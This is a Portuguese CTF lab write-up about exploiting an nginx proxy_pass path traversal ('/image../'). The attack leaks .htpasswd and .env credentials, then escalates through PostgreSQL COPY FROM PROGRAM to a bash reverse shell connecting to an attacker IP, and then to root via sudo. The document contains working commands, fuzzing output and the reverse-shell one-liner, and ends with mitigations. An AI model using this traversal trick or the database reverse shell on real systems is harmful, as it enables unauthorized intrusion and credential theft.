DISCLAIMER
No momento da construção desse artigo, não possuo habilidades técnicas avançadas em Pentest Web, portanto, é provável que algum conceito ou técnica seja erroneamente aplicada/explicada. Este desafio fez parte de um curso que eu fiz (Curso de Resposta a Incidentes da RSquad Academy) que era requisito para a conclusão do curso. Durante a resolução do desafio, apliquei meus conhecimentos existentes complementados por pesquisas adicionais. Se você tem conhecimento avançado e encontrou algum erro, por favor, entre em contato comigo para explicar melhor e aplicar a devida correção.
1. Introdução
O presente artigo faz referência a um desafio de Capture The Flag (CTF) na qual o objetivo era identificar e explorar uma vulnerabilidade de Path Traversal
. A proposta do desafio envolvia analisar o comportamento de uma aplicação web e, por meio da vulnerabilidade, obter acesso ao servidor e encontrar as flags necessárias.
Path Traversal (também conhecido como Directory Traversal) é uma vulnerabilidade que ocorre quando uma aplicação web não valida adequadamente os caminhos de arquivos fornecidos pelo usuário. Isso permite que um atacante acesse diretórios e arquivos fora da raiz da aplicação web usando sequências como ../
para navegar para diretórios superiores na estrutura de arquivos do servidor.
O impacto desta vulnerabilidade pode variar desde a simples leitura de arquivos locais sensíveis até a execução de códigos arbitrários, dependendo do cenário e das permissões do usuário da aplicação no sistema operacional.
Ao longo deste artigo, veremos:
- Uma explicação teórica e prática sobre
Path Traversal
. - A diferença técnica entre diretórios
/image/../
e/image../
e como isso influencia o comportamento do servidor. - Como identificar essa vulnerabilidade durante a análise de uma aplicação.
- Como simular o ambiente de exploração usando Docker.
- Análise detalhada das falhas encontradas e suas mitigações.
- Escalação de privilégios através do PostgreSQL.
Se você está buscando aprender sobre Path Traversal
com exemplos reais, análise técnica e uma simulação completa em laboratório local, este artigo é para você.
Desafio 2: Informe o nome da falha OWASP no formato AXX:YYYY - .* (em inglês)
Desafio 3: Informe a flag que começa com Extreme{d
Desafio 4: Informe a flag que começa com Extreme{5
Desafio 5: Informe o conteúdo do arquivo proof.txt
2. Fase Prática - Resolução do CTF
2.1. Reconhecimento
Ao acessar o IP do desafio http://10.0.1.103/
, somos redirecionados automaticamente para http://10.0.1.103/tshirt/
, onde encontramos a seguinte página:

Observação: O código-fonte mostrou que as imagens eram carregadas de um diretório chamado /image/
. Além disso, um link comentado para /login/
sugeria a existência de uma área restrita.
1<!DOCTYPE html>
2<html>
3<head>
4 <title>Xtr T-Shirts</title>
5 <style>
6.carousel {
7 width: 100%;
8 height: 800px;
9 position: relative;
10 overflow: hidden;
11}
12
13.carousel-image {
14 display: none;
15 position: absolute;
16top: 50%;
17left: 50%;
18transform: translate(-50%, -50%);
19 width: 1024px;
20 height: 800px;
21 object-fit: contain;
22}
23
24a {
25 text-decoration: none;
26 color: blue;
27}
28
29 </style>
30</head>
31<body>
32 <h1 style="text-align: center;">T-Shirts Xtr</h1>
33<div class="carousel">
34 <img class="carousel-image" src="/image/1.jpg">
35 <img class="carousel-image" src="/image/2.jpg">
36 <img class="carousel-image" src="/image/3.jpg">
37 <img class="carousel-image" src="/image/4.jpg">
38</div>
39
40<br><br><br>
41<!-- <a href="/login/">Login</a> -->
42<br>
43<script >
44const carouselImages = document.querySelectorAll('.carousel-image');
45let currentIndex = 0;
46
47function showImage(index) {
48 carouselImages.forEach((image, i) => {
49 if (i === index) {
50 image.style.display = 'block';
51 } else {
52 image.style.display = 'none';
53 }
54 });
55}
56
57function nextImage() {
58 currentIndex++;
59 if (currentIndex >= carouselImages.length) {
60 currentIndex = 0;
61 }
62 showImage(currentIndex);
63}
64
65function previousImage() {
66 currentIndex--;
67 if (currentIndex < 0) {
68 currentIndex = carouselImages.length - 1;
69 }
70 showImage(currentIndex);
71}
72
73document.addEventListener('DOMContentLoaded', () => {
74 showImage(currentIndex);
75 setInterval(nextImage, 5000);
76});
77</script>
78</body>
79</html>
2.2. Tentativa de login
Acessando o diretório /login/
, ele solicitava usuário e senha. Tentamos bruteforce com rockyou.txt
, credenciais padrões e SQLi, mas sem sucesso.

2.3. Diretório acessível: /image/
Deixando de lado o acesso ao login temporariamente, continuei analisando o código-fonte e descobri que o diretório /image/
permitia listagem de arquivos (Directory Listing), o famoso Index of
:
1<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
2<html>
3 <head>
4 <title>Index of /Chibi</title>
5 </head>
6 <body>
7<h1>Index of /Chibi</h1>
8<ul><li><a href="/"> Parent Directory</a></li>
9<li><a href="1.jpg"> 1.jpg</a></li>
10<li><a href="2.jpg"> 2.jpg</a></li>
11<li><a href="3.jpg"> 3.jpg</a></li>
12<li><a href="4.jpg"> 4.jpg</a></li>
13</ul>
14</body></html>
Observação importante: O título mostra Index of /Chibi
, revelando que internamente o servidor está servindo conteúdo de um diretório chamado “Chibi”. Esta informação entre o caminho externo /image/
e o interno /Chibi
indica uma configuração de proxy reverso ou mapeamento de diretórios.
2.4. Identificando a falha OWASP
Inicialmente eu ignorei a descoberta de alguma possível falha, e foquei no enunciado do Desafio 2, pois estava mais fácil. A dica no enunciado pedia o nome da falha. Cruzando com as categorias da OWASP Top 10 2021, foi fácil obter a resposta.
Com isso, identificamos a resposta do Desafio 2: A05:2021 - Security Misconfiguration
2.5. Enumeração inicial e descoberta do Path Traversal
Suspeitando de uma vulnerabilidade de Path Traversal devido ao Directory Listing e ao mapeamento /image/
para /Chibi
, executei um fuzzing no diretório raiz.
1ffuf -u "http://10.0.1.103/FUZZ" \
2 -w /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt \
3 -fc 301
4
5
6 /'___\ /'___\ /'___\
7 /\ \__/ /\ \__/ __ __ /\ \__/
8 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
9 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
10 \ \_\ \ \_\ \ \____/ \ \_\
11 \/_/ \/_/ \/___/ \/_/
12
13 v2.1.0-dev
14________________________________________________
15
16 :: Method : GET
17 :: URL : http://10.0.1.103/FUZZ
18 :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt
19 :: Follow redirects : false
20 :: Calibration : false
21 :: Timeout : 10
22 :: Threads : 40
23 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
24 :: Filter : Response status: 301
25________________________________________________
26
27.htpasswd [Status: 200, Size: 36, Words: 1, Lines: 2, Duration: 81ms]
28login/ [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 79ms]
29login/admin/admin.asp [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 79ms]
30login/index [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 80ms]
31login/login [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 82ms]
32login/super [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 81ms]
33nginx.conf [Status: 200, Size: 643, Words: 148, Lines: 33, Duration: 79ms]
34:: Progress: [4842/4842] :: Job [1/1] :: 490 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
2.6. Análise dos arquivos descobertos
Pelo fuzzing identificamos 2 documentos, o .htpasswd
e o nginx.conf
.
Verificando os dois arquivos temos:
1┌──(kali㉿kali)-[~]
2└─$ curl http://10.0.2.164/.htpasswd
3extremer:{PLAIN}AtWorkAreUnbeatable
4
1# Configuração default do nginx.conf
2┌──(kali㉿kali)-[~]
3└─$ curl http://10.0.2.164/nginx.conf
4
5user nginx;
6worker_processes 1;
7
8error_log /var/log/nginx/error.log warn;
9pid /var/run/nginx.pid;
10
11
12events {
13 worker_connections 1024;
14}
15
16
17http {
18 include /etc/nginx/mime.types;
19 default_type application/octet-stream;
20
21 log_format main '$remote_addr - $remote_user [$time_local] "$request" '
22 '$status $body_bytes_sent "$http_referer" '
23 '"$http_user_agent" "$http_x_forwarded_for"';
24
25 access_log /var/log/nginx/access.log main;
26
27 sendfile on;
28 #tcp_nopush on;
29
30 keepalive_timeout 65;
31
32 #gzip on;
33
34 include /etc/nginx/conf.d/*.conf;
35}
O arquivo .htpasswd
continha credenciais em texto claro e o nginx.conf
apenas mostrou que a configuração default do servidor pode ser acessada diretamente da raiz.
2.7. Novas descobertas
Entendendo que o nginx.conf
estava exposto e que esse arquivo se trata do arquivo de configuração padrão do servidor, fui enumerar o diretório interno conf.d/
para ver se encontrava alguma outra informação extra:
1┌──(kali㉿kali)-[~]
2└─$ ffuf -u "http://10.0.2.107/conf.d/FUZZ" \
3 -w /usr/share/wordlists/dirb/common.txt -fc 301 -e .conf
4
5 /'___\ /'___\ /'___\
6 /\ \__/ /\ \__/ __ __ /\ \__/
7 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
8 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
9 \ \_\ \ \_\ \ \____/ \ \_\
10 \/_/ \/_/ \/___/ \/_/
11
12 v2.1.0-dev
13________________________________________________
14
15 :: Method : GET
16 :: URL : http://10.0.2.107/conf.d/FUZZ
17 :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
18 :: Extensions : .conf
19 :: Follow redirects : false
20 :: Calibration : false
21 :: Timeout : 10
22 :: Threads : 40
23 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
24 :: Filter : Response status: 301
25________________________________________________
26
27default.conf [Status: 200, Size: 492, Words: 152, Lines: 27, Duration: 80ms]
28:: Progress: [9228/9228] :: Job [1/1] :: 495 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
29
1┌──(kali㉿kali)-[~]
2└─$ curl http://10.0.2.107/conf.d/default.conf
3server {
4 listen 80;
5 server_name ~^(.+)$;
6 root /etc/nginx;
7
8 location / {
9 if (!-f $request_filename) {
10 return 301 /tshirt;
11 }
12
13 }
14
15 location /tshirt {
16 alias /usr/share/nginx/html/;
17 }
18
19 location /image {
20 proxy_pass http://apache:80/Chibi/;
21 }
22
23
24 location /login/ {
25 auth_basic "Authetication Required";
26 auth_basic_user_file /etc/nginx/.htpasswd;
27 alias /usr/share/login/;
28 }
29}
2.8. Sucesso no login e primeira flag
Então, agora podemos realizar o login usando as credenciais que encontramos e ver o que recebemos:
1┌──(kali㉿kali)-[~]
2└─$ curl http://extremer:AtWorkAreUnbeatable@10.0.1.33/login/
3<!DOCTYPE html>
4<html>
5<head>
6 <title>User Logged In</title>
7</head>
8<body>
9 <h1>Welcome, Extremer!</h1>
10 <p>You are logged in.</p>
11 <h6>Extreme{e4d10d670d0aab07659deec1942d502a}</h6>
12 <p>There are more three flags: local.txt,.env and proof.txt</p>
13</body>
14</html>
Com isso, identificamos a resposta do Desafio 1: Extreme{e4d10d670d0aab07659deec1942d502a}
, e ao logar, indica que precisamos encontrar mais 3 flags local.txt
, .env
e proof.txt
.
2.9. Explorando Path Traversal
Voltando ao fuzzing e entendendo que se trata de um path traversal
, eu tento o que é comum em testes desse tipo no diretório /image/
.
Tentei vários métodos…
1http://10.0.2.164/image/../
2http://10.0.2.164/image/../../
3http://10.0.2.164/image/../../../
4http://10.0.2.164/image/../../../../
5http://10.0.2.164/image/../../../../../
6http://10.0.2.164/image/../../../../../../
7http://10.0.2.164/image/../../../../../../../
8http://10.0.2.164/image/../../../../../../../../
9http://10.0.2.164/image/../../../../../../../../../
E nada funcionava… Daí eu tentei o seguinte e funcionou!
1┌──(kali㉿kali)-[~]
2└─$ curl "http://10.0.1.227/image../"
3<html><body><h1>It works!</h1></body></html>
Perceba que eu não consegui com o convencional /image/../
mas foi /image../
. Eu particularmente nunca tinha visto isso assim, foi a primeira vez.
De posse dessa informação, foi só rodar um fuzzing novamente e encontramos a próxima flag.
1┌──(kali㉿kali)-[~]
2└─$ ffuf -u "http://10.0.1.227/image../FUZZ" \
3 -w /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt \
4 -fc 301 -fc 403
5
6 /'___\ /'___\ /'___\
7 /\ \__/ /\ \__/ __ __ /\ \__/
8 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
9 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
10 \ \_\ \ \_\ \ \____/ \ \_\
11 \/_/ \/_/ \/___/ \/_/
12
13 v2.1.0-dev
14________________________________________________
15
16 :: Method : GET
17 :: URL : http://10.0.1.227/image../FUZZ
18 :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt
19 :: Follow redirects : false
20 :: Calibration : false
21 :: Timeout : 10
22 :: Threads : 40
23 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
24 :: Filter : Response status: 403
25________________________________________________
26
27%2e%2e//google.com [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 83ms]
28.env [Status: 200, Size: 180, Words: 1, Lines: 11, Duration: 80ms]
29cgi-bin/test-cgi [Status: 200, Size: 1261, Words: 150, Lines: 43, Duration: 80ms]
30index.html [Status: 200, Size: 45, Words: 2, Lines: 2, Duration: 81ms]
31:: Progress: [4842/4842] :: Job [1/1] :: 503 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
1┌──(kali㉿kali)-[~]
2└─$ curl "http://10.0.1.227/image../.env"
3DB_PASSWORD=DontBrotherMe_CrackMeIfYouCan
4DB_USER=postgres
5DB_NAME=tshirts
6DB_HOST=db
7
8
9SERVER_PORT=8080
10SERVER_TIMEOUT=300
11
12FLAG=Extreme{55cb4f883997143ea5946f10c5484295ce93a7b3}
Com isso, identificamos a resposta do Desafio 4: Extreme{55cb4f883997143ea5946f10c5484295ce93a7b3}
.
2.10. Continuando a busca por local.txt
Tentei um fuzzing procurando por .txt
no /image
e não encontrei o arquivo local.txt
. Rodei o fuzzing no diretório /tshirt/
pra ver se encontrava alguma coisa .txt
e também não encontrei.
Eu testei a lista /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt
tanto no diretório /image
quanto /tshirt
e como não encontrei nada, testei a lista padrão /usr/share/wordlists/dirb/common.txt
.
1┌──(kali㉿kali)-[~]
2└─$ ffuf -u "http://10.0.1.227/tshirt../FUZZ" \
3 -w /usr/share/wordlists/dirb/common.txt \
4 -e .txt -fc 301
5
6 /'___\ /'___\ /'___\
7 /\ \__/ /\ \__/ __ __ /\ \__/
8 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
9 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
10 \ \_\ \ \_\ \ \____/ \ \_\
11 \/_/ \/_/ \/___/ \/_/
12
13 v2.1.0-dev
14________________________________________________
15
16 :: Method : GET
17 :: URL : http://10.0.1.227/tshirt../FUZZ
18 :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
19 :: Extensions : .txt
20 :: Follow redirects : false
21 :: Calibration : false
22 :: Timeout : 10
23 :: Threads : 40
24 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
25 :: Filter : Response status: 301
26________________________________________________
27
28 [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 81ms]
29local.txt [Status: 200, Size: 41, Words: 1, Lines: 1, Duration: 81ms]
30:: Progress: [9228/9228] :: Job [1/1] :: 496 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
1┌──(kali㉿kali)-[~]
2└─$ curl "http://10.0.1.227/tshirt../local.txt"
3Extreme{dea108580947e9d18e4f4129550b669c}
Com essa wordlist conseguimos encontrar o arquivo. Com isso, identificamos a resposta do Desafio 3: Extreme{dea108580947e9d18e4f4129550b669c}
.
2.11. Escalação de privilégios e última flag
Agora, falta a última flag, que é a proof.txt
. Eu pensei em algumas possibilidades dessa flag estar em algum lugar no banco, já que encontramos o login.
De posse do acesso ao banco, tentei explorar fazendo algumas consultas, mas não encontrei nada…
1┌──(kali㉿kali)-[~]
2└─$ psql -h 10.0.0.213 -U postgres -d tshirts
3
4Password for user postgres:
5psql (17.5 (Debian 17.5-1), server 14.8 (Debian 14.8-1.pgdg120+1))
6Type "help" for help.
7
8tshirts=# \dt
9Did not find any relations.
10tshirts=# SELECT * FROM users;
11ERROR: relation "users" does not exist
12LINE 1: SELECT * FROM users;
13 ^
14tshirts=# \dn
15 List of schemas
16 Name | Owner
17--------+----------
18 public | postgres
19(1 row)
20
21tshirts=# SELECT schemaname, tablename
22FROM pg_tables
23WHERE schemaname NOT IN ('pg_catalog', 'information_schema');
24 schemaname | tablename
25------------+-----------
26(0 rows)
27
28tshirts=# SELECT table_schema, table_name, column_name
29FROM information_schema.columns
30WHERE column_name ILIKE '%flag%'
31 OR column_name ILIKE '%user%'
32 OR column_name ILIKE '%pass%';
33 table_schema | table_name | column_name
34--------------------+---------------------------------+----------------------------
35 information_schema | _pg_user_mappings | umuser
36 pg_catalog | pg_user_mapping | umuser
37 pg_catalog | pg_roles | rolbypassrls
38 pg_catalog | pg_shadow | userepl
39 pg_catalog | pg_shadow | usebypassrls
40 pg_catalog | pg_user | userepl
41 pg_catalog | pg_user | usebypassrls
42 pg_catalog | pg_available_extension_versions | superuser
43 pg_catalog | pg_user_mappings | umuser
44 pg_catalog | pg_authid | rolbypassrls
45 pg_catalog | pg_user | passwd
46 pg_catalog | pg_hba_file_rules | user_name
47 pg_catalog | pg_roles | rolpassword
48 information_schema | user_defined_types | user_defined_type_category
49 pg_catalog | pg_authid | rolpassword
50 information_schema | routines | is_user_defined_cast
51 information_schema | user_defined_types | user_defined_type_schema
52 information_schema | tables | user_defined_type_catalog
53 information_schema | tables | user_defined_type_schema
54 information_schema | tables | user_defined_type_name
55 pg_catalog | pg_shadow | passwd
56 information_schema | user_defined_types | user_defined_type_name
57 information_schema | user_defined_types | user_defined_type_catalog
58(23 rows)
59
60tshirts=# SELECT proname
61FROM pg_proc
62WHERE pronamespace NOT IN (
63 SELECT oid FROM pg_namespace
64 WHERE nspname LIKE 'pg_%' OR nspname = 'information_schema'
65);
66 proname
67---------
68(0 rows)
69
70tshirts=# \ds
71Did not find any relations.
72
73tshirts=#
Eu não vi nada de nada aí nesse banco… aí, meu amigo, meus conhecimentos estavam totalmente limitados com zero! possibilidades de ideias do que fazer… Foi então que, depois de muito tempo, eu pensei numa possibilidade. Eu lembrei que podíamos escalar um shell a partir do banco… e então fui pra internet pesquisar como escalar do banco de dados para um shell, encontrar alguma forma de conseguir isso… Pois num é que eu consegui!
Com a senha em mãos eu acessei o banco, fiz o que tinha que fazer, consegui o shell e parti para o abraço! 🙅🏾♂️
1┌──(kali㉿kali)-[~]
2└─$ psql -h 10.0.0.213 -U postgres -d tshirts
3Password for user postgres:
4psql (17.5 (Debian 17.5-1), server 14.8 (Debian 14.8-1.pgdg120+1))
5Type "help" for help.
6
7tshirts=# CREATE TABLE shell_out(cmd_output text);
8CREATE TABLE
9tshirts=# COPY shell_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.1.0.154/4444 0>&1"';
1┌──(kali㉿kali)-[~]
2└─$ nc -lvnp 4444
3listening on [any] 4444 ...
4connect to [10.1.0.154] from (UNKNOWN) [10.0.0.213] 47364
5bash: cannot set terminal process group (112): Inappropriate ioctl for device
6bash: no job control in this shell
7postgres@ccebedecc39d:~/data$ id
8id
9uid=999(postgres) gid=999(postgres) groups=999(postgres),27(sudo),101(ssl-cert)
10postgres@ccebedecc39d:~/data$ sudo su
11sudo su
12ls /root/
13proof.txt
14cat proof.txt
15cat: proof.txt: No such file or directory
16cat /root/proof.txt
17Extreme{c4b59fd60e36bb9026a2455021325e1684e83b7e}
E com isso, finalmente identificamos a resposta da nossa última flag! Desafio 5: Extreme{c4b59fd60e36bb9026a2455021325e1684e83b7e}
.
2.12. Exploit público
Depois de já ter concluído o CTF com esse método de shell por dentro do banco de dados, foi que eu pensei em procurar algum exploit público. Depois de já ter feito eu encontrei um exploit público para uma CVE-2019-9193. O link para o exploit está nas referências.
3. Análise técnica das falhas, explorações e mitigações
3.1. O que é Path Traversal?
Path Traversal, também conhecido como Directory Traversal, é uma vulnerabilidade que permite ao atacante acessar arquivos ou diretórios fora do diretório raiz da aplicação web. Ela explora a manipulação de caminhos como ../
para voltar níveis na árvore de diretórios.
Exemplo:
/view/../../../etc/passwd
/download.php?file=../../../home/user/secret.txt
3.2. Por que /image/../
não funcionou, mas /image../
sim?
O comportamento se deve à forma como o Nginx trata as diretivas de location
e como o proxy_pass
é interpretado. Ver a seção 2.7.
Quando você acessa /image/
, essa requisição é repassada para http://apache:80/Chibi/
e o restante do path após o /image
é incluso após o /Chibi/
, como no caso das imagens.
3.2.1. Porque /image/../
não funcionou?
O que o Nginx faz?
Quando você acessa /image/../
, o Nginx normaliza o path, ou seja, ele entende o /image/../
como /
, porque o ..
significa “voltar um diretório”. Então, a requisição está indo para /
e não mais para /image
.
O que acontece?
O Nginx não encontra uma location /image
, pois o path já foi normalizado como /
, então ele usa location /
. Como o bloco location /
não tem proxy_pass
, o Nginx mesmo responde como HTTP 301 (Redirect)
para /tshirt
(ver o arquivo de default.conf
na seção 2.7). Como resultado, o /image/../
é interceptado e redirecionado pelo próprio Nginx, sem chegar no servidor interno que nesse caso é o Apache.
Basicamente o servidor internamente está interpretando assim:
- Se
/image/
então internamente vai serhttp://apache:80/Chibi/
. Aqui é listado o diretórioIndex of
. - Se
/image/1.jpg
então internamente vai serhttp://apache:80/Chibi/1.jpg
. - Se
/image/../
então internamente vai serhttp://apache:80
. Pois ele tá voltando um diretório e como nesse caso ele tem umlocation /
, ele faz o redirecionamento para/tshirt
.
Veja o header da requisição:
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/image/../
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET / HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 301 Moved Permanently
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 17:43:54 GMT
15< Content-Type: text/html
16< Content-Length: 185
17< Location: http://10.0.2.107/tshirt
18< Connection: keep-alive
19<
20<html>
21<head><title>301 Moved Permanently</title></head>
22<body bgcolor="white">
23<center><h1>301 Moved Permanently</h1></center>
24<hr><center>nginx/1.13.0</center>
25</body>
26</html>
27* Connection #0 to host 10.0.2.107 left intact
3.2.2. Porque /image../
funcionou?
O que o Nginx faz?
Quando você acessa /image../
, o Nginx não interpreta isso como um diretório real e não realiza nenhuma normalização de path como ocorre no /image/../
. O /image../
é considerado um nome literal de URI, onde o ..
não está separado por /
como parte de um caminho de diretório, portanto não aciona o mecanismo de normalização do Nginx. O Nginx ainda faz match com a diretiva location /image
, pois /image../
começa com /image
. Isso é diferente do que foi explicado anteriormente, não há falha no matching, mas sim um matching bem-sucedido.
O que acontece?
Como o Nginx identifica que /image../
faz match com location /image
, ele aplica o proxy_pass
configurado:
1location /image {
2 proxy_pass http://apache:80/Chibi/;
3}
O Nginx encaminha a requisição para http://apache:80/Chibi/
e anexa o restante do path após /image
, que no caso é ..
. Então a requisição que chega ao Apache é para /Chibi/..
.
O que o Apache faz?
O Apache, ao receber a requisição para /Chibi/..
, normaliza esse path. Como ..
significa “voltar um diretório”, o Apache interpreta /Chibi/..
como /
.
Por isso, quando executamos curl http://10.0.2.107/image../
, vemos a resposta <html><body><h1>It works!</h1></body></html>
, que é a página padrão do Apache para a raiz do site.
Veja o header da requisição:
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/image../
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET /image../ HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 200 OK
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 17:42:59 GMT
15< Content-Type: text/html
16< Content-Length: 45
17< Connection: keep-alive
18< Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
19< ETag: "2d-432a5e4a73a80"
20< Accept-Ranges: bytes
21<
22<html><body><h1>It works!</h1></body></html>
23* Connection #0 to host 10.0.2.107 left intact
Por que isso funcionou?
O comportamento pode ser confirmado testando outros caminhos similares:
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/test../
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET /test../ HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 301 Moved Permanently
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:23:55 GMT
15< Content-Type: text/html
16< Content-Length: 185
17< Location: http://10.0.2.107/tshirt
18< Connection: keep-alive
19<
20<html>
21<head><title>301 Moved Permanently</title></head>
22<body bgcolor="white">
23<center><h1>301 Moved Permanently</h1></center>
24<hr><center>nginx/1.13.0</center>
25</body>
26</html>
27* Connection #0 to host 10.0.2.107 left intact
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/qualquer-coisa../
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET /qualquer-coisa../ HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 301 Moved Permanently
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:26:12 GMT
15< Content-Type: text/html
16< Content-Length: 185
17< Location: http://10.0.2.107/tshirt
18< Connection: keep-alive
19<
20<html>
21<head><title>301 Moved Permanently</title></head>
22<body bgcolor="white">
23<center><h1>301 Moved Permanently</h1></center>
24<hr><center>nginx/1.13.0</center>
25</body>
26</html>
27* Connection #0 to host 10.0.2.107 left intact
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/image./
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET /image./ HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 200 OK
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:26:36 GMT
15< Content-Type: text/html;charset=ISO-8859-1
16< Content-Length: 358
17< Connection: keep-alive
18<
19<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
20<html>
21 <head>
22 <title>Index of /Chibi</title>
23 </head>
24 <body>
25<h1>Index of /Chibi</h1>
26<ul><li><a href="/"> Parent Directory</a></li>
27<li><a href="1.jpg"> 1.jpg</a></li>
28<li><a href="2.jpg"> 2.jpg</a></li>
29<li><a href="3.jpg"> 3.jpg</a></li>
30<li><a href="4.jpg"> 4.jpg</a></li>
31</ul>
32</body></html>
33* Connection #0 to host 10.0.2.107 left intact
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/image__
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET /image__ HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 404 Not Found
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:27:09 GMT
15< Content-Type: text/html; charset=iso-8859-1
16< Content-Length: 196
17< Connection: keep-alive
18<
19<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
20<html><head>
21<title>404 Not Found</title>
22</head><body>
23<h1>Not Found</h1>
24<p>The requested URL was not found on this server.</p>
25</body></html>
26* Connection #0 to host 10.0.2.107 left intact
1┌──(kali㉿kali)-[~]
2└─$ curl -v http://10.0.2.107/image..
3* Trying 10.0.2.107:80...
4* Connected to 10.0.2.107 (10.0.2.107) port 80
5* using HTTP/1.x
6> GET /image.. HTTP/1.1
7> Host: 10.0.2.107
8> User-Agent: curl/8.14.1
9> Accept: */*
10>
11* Request completely sent off
12< HTTP/1.1 200 OK
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:27:39 GMT
15< Content-Type: text/html
16< Content-Length: 45
17< Connection: keep-alive
18< Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
19< ETag: "2d-432a5e4a73a80"
20< Accept-Ranges: bytes
21<
22<html><body><h1>It works!</h1></body></html>
23* Connection #0 to host 10.0.2.107 left intact
Isso confirma que qualquer caminho que comece com /image
é direcionado para o location /image
e, consequentemente, para o Apache através do proxy_pass
.
Resumo do fluxo:
- Nginx recebe
/image../
- Nginx faz match com
location /image
- Nginx executa
proxy_pass
parahttp://apache:80/Chibi/
+..
- Apache recebe requisição para
/Chibi/..
- Apache normaliza
/Chibi/..
para/
(raiz) - Apache retorna página padrão: “It works!”
Esse mesmo conceito se aplica para o diretório /tshirt../
.
3.3. Conceito de ../../
O path ../
significa “voltar um diretório” na estrutura de arquivos. Quando utilizado em cadeia, ../../
permite navegar para diretórios superiores.
Como funciona na prática:
1# Estrutura exemplo
2/var/www/html/
3├── app/
4│ ├── images/
5│ │ ├── photo.jpg
6│ │ └── thumb/
7│ │ └── small.jpg
8│ └── uploads/
9└── config/
10 └── database.conf
4. Melhores práticas e mitigações para os cenários encontrados no CTF
4.1. Mitigações para Path Traversal
Normalização e validação de caminhos no backend:
- Sempre sanitizar a entrada do usuário antes de concatenar com qualquer caminho de arquivo.
- Usar funções seguras de resolução de caminho e validar se o caminho final está dentro do diretório permitido.
Negação de acesso a caminhos relativos:
- Rejeite explicitamente entradas que contenham
..
,%2e
,%2f
,..%2f
, etc.
- Rejeite explicitamente entradas que contenham
Controle rigoroso no proxy reverso:
- Usar diretivas como
try_files
no lugar dealias
quando possível. - Utilize
deny all;
einternal;
para bloquear acesso direto a arquivos internos.
- Usar diretivas como
Configuração segura de alias e proxy_pass:
- Evitar expor diretórios inteiros via
proxy_pass
sem validação de path.
- Evitar expor diretórios inteiros via
